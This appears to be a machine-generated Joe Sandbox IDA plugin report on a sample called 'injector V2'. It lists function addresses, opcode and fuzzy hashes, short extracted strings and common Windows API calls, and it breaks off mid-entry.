Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_b20000_injector V2.jbxd

Similarity

API ID:
String ID: .Q_$i.^$j.^
API String ID: 0-3437208586
Opcode ID: c3492964beccc3518d56c428bc9a6d0ae9cd5c824e2224b1afb55c1831dd33bb
Instruction ID: 9d305f997e44cba9b02ac97b077cd1e02c5da8e75baf5a9c7424bddc9e4d9d30
Opcode Fuzzy Hash: c3492964beccc3518d56c428bc9a6d0ae9cd5c824e2224b1afb55c1831dd33bb
Instruction Fuzzy Hash: 988127752083018B9A3C96245CE463DF3C6EFA5361FB956D9F913DBAA0DE218D458383

Function 00B2D07E Relevance: 4.0, Strings: 3, Instructions: 203COMMON

Download Yara Rule

Strings

jiX, xrefs: 00B2D096
XvIL, xrefs: 00B2CDE8
F- , xrefs: 00B2EE05

Memory Dump Source

Source File: 00000000.00000002.1695394711.0000000000B21000.00000020.00000001.01000000.00000003.sdmp, Offset: 00B20000, based on PE: true

Associated: 00000000.00000002.1695320078.0000000000B20000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1695441209.0000000000B57000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1695460196.0000000000B5D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1695477440.0000000000B5E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1695495049.0000000000B60000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1695512577.0000000000B63000.00000008.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_b20000_injector V2.jbxd

Similarity

API ID:
String ID: F- $XvIL$jiX
API String ID: 0-1826392768
Opcode ID: 41ffabec1f88bd75c088f5dc72d15f01631fb4986d2928510cadcbfca815ff7f
Instruction ID: bfb470c0d9b2d7af71fd3bb0bab76bcfcb6ef9fb122c2a40f053b395bff50c89
Opcode Fuzzy Hash: 41ffabec1f88bd75c088f5dc72d15f01631fb4986d2928510cadcbfca815ff7f
Instruction Fuzzy Hash: 03619E316517255BAE2C9A28B8E963C7ED1DF54361B7542FEF41F57AF0CA20AC8086C2

Function 00B38129 Relevance: 2.7, Strings: 2, Instructions: 235COMMON

Download Yara Rule

Strings

j.^, xrefs: 00B37DCC
i.^, xrefs: 00B37DC0

Memory Dump Source

Source File: 00000000.00000002.1695394711.0000000000B21000.00000020.00000001.01000000.00000003.sdmp, Offset: 00B20000, based on PE: true

Associated: 00000000.00000002.1695320078.0000000000B20000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1695441209.0000000000B57000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1695460196.0000000000B5D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1695477440.0000000000B5E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1695495049.0000000000B60000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1695512577.0000000000B63000.00000008.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_b20000_injector V2.jbxd

Similarity

API ID:
String ID: i.^$j.^
API String ID: 0-1036069679
Opcode ID: d087109eb099c2fb5ab8528ef2e32a37ebb898fabbd379cc2fa1eb36ba040ecc
Instruction ID: b39972b7eacc58a2c7a0aa23b5cb620b8f4f91b49de0b84d05968079cd545472
Opcode Fuzzy Hash: d087109eb099c2fb5ab8528ef2e32a37ebb898fabbd379cc2fa1eb36ba040ecc
Instruction Fuzzy Hash: E6813A352047004F9A2C8A285CE863EB3C6EF95365F7957A9F613D76F0DF258D458283

Function 00B2DA6C Relevance: 2.6, Strings: 2, Instructions: 149COMMON

Download Yara Rule

Strings

c79u, xrefs: 00B2F3D4
XvIL, xrefs: 00B2CDE8

Memory Dump Source

Source File: 00000000.00000002.1695394711.0000000000B21000.00000020.00000001.01000000.00000003.sdmp, Offset: 00B20000, based on PE: true

Associated: 00000000.00000002.1695320078.0000000000B20000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1695441209.0000000000B57000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1695460196.0000000000B5D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1695477440.0000000000B5E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1695495049.0000000000B60000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1695512577.0000000000B63000.00000008.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_b20000_injector V2.jbxd

Similarity

API ID:
String ID: XvIL$c79u
API String ID: 0-4272471903
Opcode ID: 2c0990dcc30c5b0c65b2e8fb0cfd6d3f40152126065da67a494c9c47407cc6ed
Instruction ID: 1a3e91f8abad63049fc02d05efbee88f4c5d9fc0432a5e91a461f5f9759e86bf
Opcode Fuzzy Hash: 2c0990dcc30c5b0c65b2e8fb0cfd6d3f40152126065da67a494c9c47407cc6ed
Instruction Fuzzy Hash: 4E51AC356113219BDE2C9A24B9E9A3C7BE1DF58351B6502FDF80F57BB1D620EC848782

Function 00B55E22 Relevance: 1.8, APIs: 1, Instructions: 269COMMONLIBRARYCODE

Download Yara Rule

APIs

RaiseException.KERNEL32(C000000D,00000000,00000001,?,?,00000008,?,?,00B55D7D,?,?,00000008,?,?,00B5594F,00000000), ref: 00B5604F

Memory Dump Source

Source File: 00000000.00000002.1695394711.0000000000B21000.00000020.00000001.01000000.00000003.sdmp, Offset: 00B20000, based on PE: true

Associated: 00000000.00000002.1695320078.0000000000B20000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1695441209.0000000000B57000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1695460196.0000000000B5D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1695477440.0000000000B5E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1695495049.0000000000B60000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1695512577.0000000000B63000.00000008.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_b20000_injector V2.jbxd

Similarity

API ID: ExceptionRaise
String ID:
API String ID: 3997070919-0
Opcode ID: d065cb3f21077e6ab720fc6870e263a2e6dd3c10c386b7ec84abfb5a71a8220b
Instruction ID: a78a5f1c1eec4997b017ffc70b4d25ac533b1601345ab5b459fa28ef433e5682
Opcode Fuzzy Hash: d065cb3f21077e6ab720fc6870e263a2e6dd3c10c386b7ec84abfb5a71a8220b
Instruction Fuzzy Hash: 9CB13931110A089FD725CF28C4DAB657BE0FF45366F6986D8E99ACF2A1C335D986CB40

Function 00B4F680 Relevance: 1.7, APIs: 1, Instructions: 199fileCOMMON

Download Yara Rule

APIs

Part of subcall function 00B4EB3E: HeapAlloc.KERNEL32(00000008,?,00000000,?,00B4CD28,00000001,00000364,00000000,00000002,000000FF,?,?,00B4E421,00B4DC80), ref: 00B4EB7F

FindFirstFileExW.KERNEL32(?,00000000,?,00000000,00000000,00000000,00000000,00000000,00000000), ref: 00B4F821
FindNextFileW.KERNEL32(00000000,?), ref: 00B4F915
FindClose.KERNEL32(00000000), ref: 00B4F954
FindClose.KERNEL32(00000000), ref: 00B4F987

Memory Dump Source

Source File: 00000000.00000002.1695394711.0000000000B21000.00000020.00000001.01000000.00000003.sdmp, Offset: 00B20000, based on PE: true

Associated: 00000000.00000002.1695320078.0000000000B20000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1695441209.0000000000B57000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1695460196.0000000000B5D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1695477440.0000000000B5E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1695495049.0000000000B60000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1695512577.0000000000B63000.00000008.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_b20000_injector V2.jbxd

Similarity

API ID: Find$CloseFile$AllocFirstHeapNext
String ID:
API String ID: 2701053895-0
Opcode ID: c0a2a26b313c1469846fe50da1fe03ed80db95675701546e2b998ac871f67f98
Instruction ID: 95dd5effce4d5e6535595d2bdb47145ab5569a5eee812ae53b081e821185e276
Opcode Fuzzy Hash: c0a2a26b313c1469846fe50da1fe03ed80db95675701546e2b998ac871f67f98
Instruction Fuzzy Hash: 3651247590021AAFDF24AF389C85ABE77E9DF85358F1441EDF81997201EA348F41AB60

Function 00B498D5 Relevance: 1.6, APIs: 1, Instructions: 147COMMON

Download Yara Rule

APIs

IsProcessorFeaturePresent.KERNEL32(0000000A), ref: 00B498EB

Memory Dump Source

Source File: 00000000.00000002.1695394711.0000000000B21000.00000020.00000001.01000000.00000003.sdmp, Offset: 00B20000, based on PE: true

Associated: 00000000.00000002.1695320078.0000000000B20000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1695441209.0000000000B57000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1695460196.0000000000B5D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1695477440.0000000000B5E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1695495049.0000000000B60000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1695512577.0000000000B63000.00000008.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_b20000_injector V2.jbxd

Similarity

API ID: FeaturePresentProcessor
String ID:
API String ID: 2325560087-0
Opcode ID: b87590ce068a9f059d4fc24bcead31cd529148a2319119446e2f0a93033f9b92
Instruction ID: 608c1771c2aba19b4e6d17230fe177b54b4f8b61b8952222f9759d4b51fb992b
Opcode Fuzzy Hash: b87590ce068a9f059d4fc24bcead31cd529148a2319119446e2f0a93033f9b92
Instruction Fuzzy Hash: 69519AB1A103058FEB29CF59D8857AEBBF0FB48305F2485AAC419EB350E775DA40CB50

Function 00B496A3 Relevance: 1.5, APIs: 1, Instructions: 3COMMON

Download Yara Rule

APIs

SetUnhandledExceptionFilter.KERNEL32(Function_000297D0,00B49125), ref: 00B496A8

Memory Dump Source

Source File: 00000000.00000002.1695394711.0000000000B21000.00000020.00000001.01000000.00000003.sdmp, Offset: 00B20000, based on PE: true

Associated: 00000000.00000002.1695320078.0000000000B20000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1695441209.0000000000B57000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1695460196.0000000000B5D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1695477440.0000000000B5E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1695495049.0000000000B60000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1695512577.0000000000B63000.00000008.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_b20000_injector V2.jbxd

Similarity

API ID: ExceptionFilterUnhandled
String ID:
API String ID: 3192549508-0
Opcode ID: c6bfc7f61933c4e7d015fedb625efc1af61c335a8b89d89539cdd5e26a899376
Instruction ID: c1a42fa247fc601252385e1b465b1fb9166aae621c8b56628788d68c9f290533
Opcode Fuzzy Hash: c6bfc7f61933c4e7d015fedb625efc1af61c335a8b89d89539cdd5e26a899376
Instruction Fuzzy Hash:

Function 00B32AE7 Relevance: 1.5, Strings: 1, Instructions: 219COMMON

Download Yara Rule

Strings

~bD`, xrefs: 00B32F67

Memory Dump Source

Source File: 00000000.00000002.1695394711.0000000000B21000.00000020.00000001.01000000.00000003.sdmp, Offset: 00B20000, based on PE: true

Associated: 00000000.00000002.1695320078.0000000000B20000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1695441209.0000000000B57000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1695460196.0000000000B5D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1695477440.0000000000B5E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1695495049.0000000000B60000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1695512577.0000000000B63000.00000008.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_b20000_injector V2.jbxd

Similarity

API ID:
String ID: ~bD`
API String ID: 0-944831652
Opcode ID: 7277de4186a7e949d020320b3874f7117147c68e686278fb7a12116549b54dab
Instruction ID: 38f40f9d415ec8283c6c7b9de9aef08868a2ac34076cdcea7b2a8dd1ebf7f01b
Opcode Fuzzy Hash: 7277de4186a7e949d020320b3874f7117147c68e686278fb7a12116549b54dab
Instruction Fuzzy Hash: 0A715876305B005B8A2C8F2C5DD8279B3D5EB95321F794BEBE412CB2E1EB25CD469602

Function 00B32B9B Relevance: 1.4, Strings: 1, Instructions: 156COMMON

Download Yara Rule

Strings

~bD`, xrefs: 00B32F67

Memory Dump Source

Source File: 00000000.00000002.1695394711.0000000000B21000.00000020.00000001.01000000.00000003.sdmp, Offset: 00B20000, based on PE: true

Associated: 00000000.00000002.1695320078.0000000000B20000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1695441209.0000000000B57000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1695460196.0000000000B5D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1695477440.0000000000B5E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1695495049.0000000000B60000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1695512577.0000000000B63000.00000008.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_b20000_injector V2.jbxd

Similarity

API ID:
String ID: ~bD`
API String ID: 0-944831652
Opcode ID: a8807f8348f92e68556cb89ecd7cb0257a336f82ce82b7a73f3c73cbbea0644f
Instruction ID: 957d5bc68b16efaee0bfa2b872b6c5e6e52de3e2e0eed697aaa403380f1f823e
Opcode Fuzzy Hash: a8807f8348f92e68556cb89ecd7cb0257a336f82ce82b7a73f3c73cbbea0644f
Instruction Fuzzy Hash: F95159B5300700AFDB289F2C9DD5B29B3E5EB99320F3846E6E915CB3A5E725CC45C642

Function 00B32C40 Relevance: 1.4, Strings: 1, Instructions: 146COMMON

Download Yara Rule

Strings

~bD`, xrefs: 00B32F67

Memory Dump Source

Source File: 00000000.00000002.1695394711.0000000000B21000.00000020.00000001.01000000.00000003.sdmp, Offset: 00B20000, based on PE: true

Associated: 00000000.00000002.1695320078.0000000000B20000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1695441209.0000000000B57000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1695460196.0000000000B5D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1695477440.0000000000B5E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1695495049.0000000000B60000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1695512577.0000000000B63000.00000008.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_b20000_injector V2.jbxd

Similarity

API ID:
String ID: ~bD`
API String ID: 0-944831652
Opcode ID: 5f0ff9724cad275090b02dae28becf82aece36eb3c80f8f864f9b59515ae8548
Instruction ID: f065bd67f2716db30674caa2eb9561aa7706fb985f59f092215580660f998781
Opcode Fuzzy Hash: 5f0ff9724cad275090b02dae28becf82aece36eb3c80f8f864f9b59515ae8548
Instruction Fuzzy Hash: AC4116BA3007009FDB14DF389DD5B2973E6EB98320F3986A5E915CB3A5E735C845C642

Function 00B2D6B8 Relevance: 1.4, Strings: 1, Instructions: 131COMMON

Download Yara Rule

Strings

XvIL, xrefs: 00B2CDE8

Memory Dump Source

Source File: 00000000.00000002.1695394711.0000000000B21000.00000020.00000001.01000000.00000003.sdmp, Offset: 00B20000, based on PE: true

Associated: 00000000.00000002.1695320078.0000000000B20000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1695441209.0000000000B57000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1695460196.0000000000B5D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1695477440.0000000000B5E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1695495049.0000000000B60000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1695512577.0000000000B63000.00000008.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_b20000_injector V2.jbxd

Similarity

API ID:
String ID: XvIL
API String ID: 0-558896452
Opcode ID: dfafb77d0243264e00a4303569719f254f34ee4167b641d5545d9f1a67587dac
Instruction ID: 81e3498a37e1a7f131bc8bcbdf1a46ad9cacfdf16361ec8ffa0635cc4d6d51af
Opcode Fuzzy Hash: dfafb77d0243264e00a4303569719f254f34ee4167b641d5545d9f1a67587dac
Instruction Fuzzy Hash: 36411774550214ABEE686F14F892A3C7BE1EF14315F5440E9F40E2B766D631AC848BC2

Function 00B2CD0A Relevance: 1.3, Strings: 1, Instructions: 99COMMON

Download Yara Rule

Strings

XvIL, xrefs: 00B2CDE8

Memory Dump Source

Source File: 00000000.00000002.1695394711.0000000000B21000.00000020.00000001.01000000.00000003.sdmp, Offset: 00B20000, based on PE: true

Associated: 00000000.00000002.1695320078.0000000000B20000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1695441209.0000000000B57000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1695460196.0000000000B5D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1695477440.0000000000B5E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1695495049.0000000000B60000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1695512577.0000000000B63000.00000008.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_b20000_injector V2.jbxd

Similarity

API ID:
String ID: XvIL
API String ID: 0-558896452
Opcode ID: 782d90a90af8fd0ae873b36a97b0dd7af4a75ad349f922d7502658ccdcf1f734
Instruction ID: 50aad272a5704ea797ae2b0b1d9610d64ccdd7e36a810ffcc767f7947574ef57
Opcode Fuzzy Hash: 782d90a90af8fd0ae873b36a97b0dd7af4a75ad349f922d7502658ccdcf1f734
Instruction Fuzzy Hash: 653139756502109FDE2CAF14B8E6A3C7BE1AF15315F6841EDF40F67AB2D631AC848782

Function 00B2E350 Relevance: 1.3, Strings: 1, Instructions: 87COMMON

Download Yara Rule

Strings

XvIL, xrefs: 00B2CDE8

Memory Dump Source

Source File: 00000000.00000002.1695394711.0000000000B21000.00000020.00000001.01000000.00000003.sdmp, Offset: 00B20000, based on PE: true

Associated: 00000000.00000002.1695320078.0000000000B20000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1695441209.0000000000B57000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1695460196.0000000000B5D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1695477440.0000000000B5E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1695495049.0000000000B60000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1695512577.0000000000B63000.00000008.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_b20000_injector V2.jbxd

Similarity

API ID:
String ID: XvIL
API String ID: 0-558896452
Opcode ID: a83542875edebf467caeb1a9c1c9be948a58aa26dc54e04fcd74670979f7a696
Instruction ID: a0e5232e26ff882e51c3306a825bf28221e26b698c55e9469c8198707c8d7b1d
Opcode Fuzzy Hash: a83542875edebf467caeb1a9c1c9be948a58aa26dc54e04fcd74670979f7a696
Instruction Fuzzy Hash: 9A312670550221AAEE7C6B14B8E6A3C7BE1EF24351F6440EDF40F27A66D620AC8486C3

Function 00B2E93A Relevance: 1.3, Strings: 1, Instructions: 84COMMON

Download Yara Rule

Strings

XvIL, xrefs: 00B2CDE8

Memory Dump Source

Source File: 00000000.00000002.1695394711.0000000000B21000.00000020.00000001.01000000.00000003.sdmp, Offset: 00B20000, based on PE: true

Associated: 00000000.00000002.1695320078.0000000000B20000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1695441209.0000000000B57000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1695460196.0000000000B5D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1695477440.0000000000B5E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1695495049.0000000000B60000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1695512577.0000000000B63000.00000008.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_b20000_injector V2.jbxd

Similarity

API ID:
String ID: XvIL
API String ID: 0-558896452
Opcode ID: 5bfe44e2c699c40a095917c573883a8d26602cd442770f4529e7d90f062bc0d2
Instruction ID: 0990fa742f22ff97d44b851b84429694efb19efcfe474c5d9a212dcbad976b9d
Opcode Fuzzy Hash: 5bfe44e2c699c40a095917c573883a8d26602cd442770f4529e7d90f062bc0d2
Instruction Fuzzy Hash: 06315970550220ABEE6C6B14B8E6A3C7BE1AF24311F6440EDF40F27B66D631AC8487C3

Function 00B4CB10 Relevance: 1.3, APIs: 1, Instructions: 5memoryCOMMON

Download Yara Rule

APIs

GetProcessHeap.KERNEL32 ref: 00B4CB10

Memory Dump Source

Source File: 00000000.00000002.1695394711.0000000000B21000.00000020.00000001.01000000.00000003.sdmp, Offset: 00B20000, based on PE: true

Associated: 00000000.00000002.1695320078.0000000000B20000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1695441209.0000000000B57000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1695460196.0000000000B5D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1695477440.0000000000B5E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1695495049.0000000000B60000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1695512577.0000000000B63000.00000008.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_b20000_injector V2.jbxd

Similarity

API ID: HeapProcess
String ID:
API String ID: 54951025-0
Opcode ID: c8fc9aabdb7cec2785edd16c6df5d223a6c1a5fcb846d4ff568375830c2a63d8
Instruction ID: f7e8ae0ade9bea7654d54ed7757b15fcadf4285e9d6b62c58b30d3b7d127be95
Opcode Fuzzy Hash: c8fc9aabdb7cec2785edd16c6df5d223a6c1a5fcb846d4ff568375830c2a63d8
Instruction Fuzzy Hash: 01A011302023008F83808F32AE083083AEAAA002C2B00C0A8A008C2220EE38A0008F00

Function 00B355F0 Relevance: .6, Instructions: 552COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1695394711.0000000000B21000.00000020.00000001.01000000.00000003.sdmp, Offset: 00B20000, based on PE: true

Associated: 00000000.00000002.1695320078.0000000000B20000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1695441209.0000000000B57000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1695460196.0000000000B5D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1695477440.0000000000B5E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1695495049.0000000000B60000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1695512577.0000000000B63000.00000008.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_b20000_injector V2.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 631910551cba97f46fd3a0cb5bd67795dd3754b19208285314dfa91fa88fdb11
Instruction ID: 9281044b62e77eb99db6f77444bb0b88021bd2472eef64766d044ee83c91b906
Opcode Fuzzy Hash: 631910551cba97f46fd3a0cb5bd67795dd3754b19208285314dfa91fa88fdb11
Instruction Fuzzy Hash: 38120939708B448BCE388E2894D453D73D2EB84715FB94AAEE867DB3A0DE20CD459753

Function 00B44170 Relevance: .5, Instructions: 459COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1695394711.0000000000B21000.00000020.00000001.01000000.00000003.sdmp, Offset: 00B20000, based on PE: true

Associated: 00000000.00000002.1695320078.0000000000B20000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1695441209.0000000000B57000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1695460196.0000000000B5D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1695477440.0000000000B5E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1695495049.0000000000B60000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1695512577.0000000000B63000.00000008.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_b20000_injector V2.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: ebd45b2b35defecc3e622e7c9c9443a6b20c35b6a82b722e5e36ccbe723f242e
Instruction ID: 453ab81fef1f10d1088df85493cc90d88d2669f49e62b75fe4a6b9b28dcf8270
Opcode Fuzzy Hash: ebd45b2b35defecc3e622e7c9c9443a6b20c35b6a82b722e5e36ccbe723f242e
Instruction Fuzzy Hash: 27E1607A2143004F4D2CDE3869C472A77D2D7A5330B388AD2E822DB3E4DB75DF65A252

Function 00B46CD0 Relevance: .4, Instructions: 395COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1695394711.0000000000B21000.00000020.00000001.01000000.00000003.sdmp, Offset: 00B20000, based on PE: true

Associated: 00000000.00000002.1695320078.0000000000B20000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1695441209.0000000000B57000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1695460196.0000000000B5D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1695477440.0000000000B5E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1695495049.0000000000B60000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1695512577.0000000000B63000.00000008.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_b20000_injector V2.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 2a435d58fc13a636447adca197ae441271bdcc4626c8467758f86cc838c104e2
Instruction ID: bf57f3e73b624efeaae79f84d2a4646813c5f9c74dee0356c0fd97192130efae
Opcode Fuzzy Hash: 2a435d58fc13a636447adca197ae441271bdcc4626c8467758f86cc838c104e2
Instruction Fuzzy Hash: 66D1283975A3108F9D289638A5D522D33C28B96330B388BE5E521CB3E5EB65DF45E243

Function 00B25930 Relevance: .4, Instructions: 361COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1695394711.0000000000B21000.00000020.00000001.01000000.00000003.sdmp, Offset: 00B20000, based on PE: true

Associated: 00000000.00000002.1695320078.0000000000B20000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1695441209.0000000000B57000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1695460196.0000000000B5D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1695477440.0000000000B5E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1695495049.0000000000B60000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1695512577.0000000000B63000.00000008.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_b20000_injector V2.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: d9fa3b747a8d2419ebfeb7a9e1c2c88648204d5ce45078da1949f3035f47f48a
Instruction ID: 337ee9a41763cef9e87a3e9ba8ca7bbbbe83c41ac344bc69b86bcb42940e3edd
Opcode Fuzzy Hash: d9fa3b747a8d2419ebfeb7a9e1c2c88648204d5ce45078da1949f3035f47f48a
Instruction Fuzzy Hash: D5C1E636204B208B4A388B2865C963D73D3EBD57357795F96D42BCB3E8DB35CD828642

Function 00B46800 Relevance: .3, Instructions: 282COMMONLIBRARYCODE

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1695394711.0000000000B21000.00000020.00000001.01000000.00000003.sdmp, Offset: 00B20000, based on PE: true

Associated: 00000000.00000002.1695320078.0000000000B20000.00000002.00000001.01000000.00000003.sdmpDownload File
